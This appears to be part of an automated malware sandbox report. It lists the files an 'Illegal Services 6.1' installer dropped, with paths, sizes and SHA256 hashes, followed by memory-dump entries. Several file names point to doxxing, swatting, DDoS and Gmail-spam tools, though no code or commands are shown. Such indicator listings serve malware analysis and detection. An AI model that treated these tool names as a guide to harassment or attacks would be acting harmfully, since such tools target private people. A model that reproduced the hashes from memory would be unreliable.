                                                  • Path C:\Users\Admin\AppData\Local\Temp\IB_U_Z_Z_A_R_Dl\Illegal Services 6.1\install\707E587\IS.Setup.msi
                                                  • Size 3.0MB
                                                  • SHA256 ff3e5b0baad11d798c2152eb01cdcf68775c123ac07f72cffb53b623ac9a71c5
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  decoder.dll
                                                  • Path C:\Users\Admin\AppData\Local\Temp\IB_U_Z_Z_A_R_Dl\Illegal Services 6.1\install\decoder.dll
                                                  • Size 205KB
                                                  • SHA256 d4282c9805e7ff97a7bebcbbed608d7daa3dc4c72354690ba94b685550728549
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  IS.Setup.exe
                                                  • Path C:\Users\Admin\AppData\Local\Temp\IS.Setup.exe
                                                  • Size 17.5MB
                                                  • SHA256 84dab96a11da002f640ba371f218c49fc3c13d192b9ffbae63cea45bf572ef2d
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  MSI1437.tmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\MSI1437.tmp
                                                  • Size 436KB
                                                  • SHA256 426e6cf199a8268e8a7763ec3a4dd7add982b28c51d89ebea90ca792cbae14dd
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  __PSScriptPolicyTest_40kmdqi4.nqq.ps1
                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_40kmdqi4.nqq.ps1
                                                  • Size 60B
                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  2e0cc9e8-a5a9-4e75-a919-6167510e5e0d.tmp
                                                  • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2980_1479621705\2e0cc9e8-a5a9-4e75-a919-6167510e5e0d.tmp
                                                  • Size 154KB
                                                  • SHA256 a468f5875b4e55ea732e3df283b4f4ea941be738b238122979ca5d8006a3a8fe
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  AIO.exe
                                                  • Path C:\Users\Admin\Downloads\NEW\AIO.exe
                                                  • Size 17.7MB
                                                  • SHA256 22e7c140c849ad87f0d9f9624374045712c8a2f4c38befa85a92330fe2382316
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  DDoS.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\DDoS.txt
                                                  • Size 551B
                                                  • SHA256 c347c884be71e7f0523e46820142750d3c22906c774472cf892c2a7d8e0c8325
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  Doxinfo.exe
                                                  • Path C:\Users\Admin\Downloads\NEW\Doxinfo.exe
                                                  • Size 90KB
                                                  • SHA256 cc2028db9daecfc962308f695bca0d46ea2e451984e4762c14dd8c3f3f055bae
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Doxing.py
                                                  • Path C:\Users\Admin\Downloads\NEW\Doxing.py
                                                  • Size 4KB
                                                  • SHA256 40628d75875a6a3c0f64180b9d9d717662c43f736aeb698477b239faa7561731
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Doxtracker.py
                                                  • Path C:\Users\Admin\Downloads\NEW\Doxtracker.py
                                                  • Size 11KB
                                                  • SHA256 8828ec1c99732a088ceceb9b3cdc6e63d96971e560f5afa65387a2002c9b1577
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  FireDep.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\FireDep.txt
                                                  • Size 300B
                                                  • SHA256 f2281d044d3940f48d0c5cc94d59d4c9e887343c4c0a706008d261d88d46e215
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  GmailSpammer.py
                                                  • Path C:\Users\Admin\Downloads\NEW\GmailSpammer.py
                                                  • Size 5KB
                                                  • SHA256 8b81d375b6d2131d0341a796eedb18f68b6db3a4d1b4134bc239bfcd401d70f2
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Guide.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\Guide.txt
                                                  • Size 97KB
                                                  • SHA256 ea856a7e663ab58fc986be184c7ee0013c40a0e1b4346fd2efab9da04dd50c47
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  Pizza.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\Pizza.txt
                                                  • Size 775B
                                                  • SHA256 cb5655fd124c9a7d49247efe88e775c9da983b5f4313d9345e8877711c11e32a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  Swat.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\Swat.txt
                                                  • Size 422B
                                                  • SHA256 f26a8a9545ac2629feee21af5b4d6b5beeeacfba8d0ebab69f516f3ca0937ae6
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  databreach.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\databreach.txt
                                                  • Size 333B
                                                  • SHA256 56e06f74e3ed8699bc7aa16cb50a68ccfa6406ed2db91a377589115e79d000b3
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  grab.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\grab.txt
                                                  • Size 159B
                                                  • SHA256 25cd723e2546ca366c223a9ba298c6a794b5de67a8371427b4615a15d6b7f243
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  iplookup.exe
                                                  • Path C:\Users\Admin\Downloads\NEW\iplookup.exe
                                                  • Size 2.1MB
                                                  • SHA256 49945b5eb3f80e6bb9dba81c6c6f643245bb0831ce2f6e5abf4db12ab6709b76
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  phone.py
                                                  • Path C:\Users\Admin\Downloads\NEW\phone.py
                                                  • Size 913B
                                                  • SHA256 879a15ee153cfd588b61bf07fc56e5fd8a6c3f6bcb42230acfee2e22f19ce536
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  reversepic.py
                                                  • Path C:\Users\Admin\Downloads\NEW\reversepic.py
                                                  • Size 754B
                                                  • SHA256 f0729606e3e1f981f2c1453f3658fb6af59d69b5cf80b51d2b12b562680e5fb4
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  roblox.txt
                                                  • Path C:\Users\Admin\Downloads\NEW\roblox.txt
                                                  • Size 112B
                                                  • SHA256 0a9a420c5e57db96b6075a8ab5affad756a2b26a3188c870b5f23224020098fc
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  memory/960-134-0x00000000008F0000-0x0000000000922000-memory.dmp
                                                  Download

                                                  memory/960-139-0x00000000053C0000-0x0000000005452000-memory.dmp
                                                  Download

                                                  memory/960-137-0x0000000005970000-0x0000000005F16000-memory.dmp
                                                  Download

                                                  memory/960-141-0x0000000005270000-0x000000000527A000-memory.dmp
                                                  Download

                                                  memory/960-144-0x0000000005510000-0x0000000005566000-memory.dmp
                                                  Download

                                                  memory/960-136-0x00000000052C0000-0x000000000535C000-memory.dmp
                                                  Download

                                                  memory/1372-390-0x0000000007E20000-0x0000000007E31000-memory.dmp
                                                  Download

                                                  memory/1372-386-0x0000000007EA0000-0x0000000007F36000-memory.dmp
                                                  Download

                                                  memory/1372-447-0x0000000007F50000-0x0000000007F58000-memory.dmp
                                                  Download

                                                  memory/1372-446-0x0000000007F60000-0x0000000007F7A000-memory.dmp
                                                  Download

                                                  memory/1372-445-0x0000000007E70000-0x0000000007E85000-memory.dmp
                                                  Download

                                                  memory/1372-444-0x0000000007E60000-0x0000000007E6E000-memory.dmp
                                                  Download

                                                  memory/1372-194-0x0000000007850000-0x0000000007884000-memory.dmp
                                                  Download

                                                  memory/1372-138-0x0000000005B20000-0x000000000614A000-memory.dmp
                                                  Download

                                                  memory/1372-195-0x000000006E350000-0x000000006E39C000-memory.dmp
                                                  Download

                                                  memory/1372-202-0x0000000007890000-0x00000000078AE000-memory.dmp
                                                  Download

                                                  memory/1372-203-0x00000000078B0000-0x0000000007954000-memory.dmp
                                                  Download

                                                  memory/1372-385-0x0000000007CA0000-0x0000000007CAA000-memory.dmp
                                                  Download

                                                  memory/4748-135-0x00000000051C0000-0x00000000051F6000-memory.dmp
                                                  Download

                                                  memory/4748-184-0x0000000006660000-0x000000000667E000-memory.dmp
                                                  Download

                                                  memory/4748-145-0x0000000005E60000-0x00000000061B7000-memory.dmp
                                                  Download

                                                  memory/4748-186-0x0000000006860000-0x00000000068AC000-memory.dmp
                                                  Download

                                                  memory/4748-142-0x0000000005730000-0x0000000005796000-memory.dmp
                                                  Download

                                                  memory/4748-193-0x0000000006B70000-0x0000000006B8A000-memory.dmp
                                                  Download

                                                  memory/4748-143-0x00000000057A0000-0x0000000005806000-memory.dmp
                                                  Download

                                                  memory/4748-140-0x0000000005690000-0x00000000056B2000-memory.dmp
                                                  Download

                                                  memory/4748-192-0x0000000007CB0000-0x000000000832A000-memory.dmp
                                                  Download